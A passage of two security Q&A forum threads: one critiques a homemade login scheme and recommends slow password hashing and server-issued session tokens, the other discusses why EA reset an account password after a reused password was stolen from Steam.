I do not intend to protect against an attacker that is in physical custody of either the client or server systems.

So, with all that in mind, here is my custom :( solution.

Site-wide HTTPS
At registration to the service, the user's password is passed 'clear' to the server where it is stored in a salted sha-3 hash.
Upon login, the javascript client does not pass the user id and password to the server.  Instead, it generates a random string and stores that in the window.name space.  It then uses this string as a passphrase to perform 256bit AES encryption on the name and password, storing this cipher text in a cookie.  This cookie has a life of 1 hour.
Henceforth, all API calls require that the client access the window.name string, decrypt the cookie, and pass the username/password 'clear' to the server.  A unix-epoch timestamp is also passed.
The server, upon receiving any request, retrieves the user's salt, performs a sha-3 hash on the password, and compares it to the stored value in the db.  It also ensures that the timestamp is within 60 seconds of the server time.
If those checks pass, the client is considered authenticated for that single request.

I'm definitely not a security expert, but I figure this forum is.  Whatever you suggest I will take to heart.

Site-wide HTTPS

This is good.

At registration to the service, the user's password is passed 'clear' to the server where it is stored in a salted sha-3 hash.

This is bad. Hash passwords with a slow password hashing algorithm like pbkdf2, bcrypt or scrypt instead.

Upon login, the javascript client does not pass the user id and password to the server. Instead, it generates a random string and stores that in the window.name space. It then uses this string as a passphrase to perform 256bit AES encryption on the name and password, storing this cipher text in a cookie. This cookie has a life of 1 hour.
Henceforth, all API calls require that the client access the window.name string, decrypt the cookie, and pass the username/password 'clear' to the server. A unix-epoch timestamp is also passed.
The server, upon receiving any request, retrieves the user's salt, performs a sha-3 hash on the password, and compares it to the stored value in the db. It also ensures that the timestamp is within 60 seconds of the server time.

This looks overly complex to me. You can simply pass the username and password over HTTPS to the server during login. If the authentication succeeds, generate a random token on the server side and return it to the client. Any future request must include that token to be considered authenticated. You can invalidate the token after a certain period of time on the server side if needed.


Could EA know my password across multiple sites? A few days ago I received an email from EA stating they reset my password because it may be compromised:

  The password for your Origin account was recently reset because a standard systems analysis indicated that your user name and password may have been subject to suspicious activity.  We have no reason to believe at this time that the suspicious activity is the result of unauthorised access to EA’s databases.  Instead, such activity could be related to issues with phishing, use of weak passwords, logging in from shared connections or even using the same password on multiple websites.  We apologise for any inconvenience this may cause you and hope you will recognise we’re taking this action to better protect your personal data.

This happened on the day that my Steam account was hacked and the user changed the email and password for Steam. My Steam account had no EA games on it, but they both used the same email and password.

In my mind that leaves two options of why my password was reset:

the Steam hacker tried to access my EA account with the same credentials but flagged something likely based on location of log in.
EA's "standard systems analysis" noticed I had used the same email and password and flagged it.

In my opinion it seems more likely it is #2 because it didn't appear anyone accessed my EA account, there were no signs I had an EA account from Steam, and the email states "using the same password on multiple websites" is a reason for changing.

If it is #2 like I believe it is how could EA possibly know I used the same password on both accounts without not only knowing my EA password but knowing my Steam password as well? If they couldn't know that why would they include that line in their email?

Both are game related sites, therefore it makes sense that once one gets access to a steam account login and password, it will try it on related sites too, even if he is not sure about it.

What kind of evidence would you expect to find that someone got into tour EA account? EA claims to have blocked the suspicious activity, maybe based on geo location or other parameters as you suggested, and this email looks like the first sign that they gave you that something happened.

The text is pretty standard for this. They are not claiming that they are forcing you to change the password because of that, but that the suspicious activity they noticed may be becaus of that kind of thing, and reusing email is really one of the top common causes for it.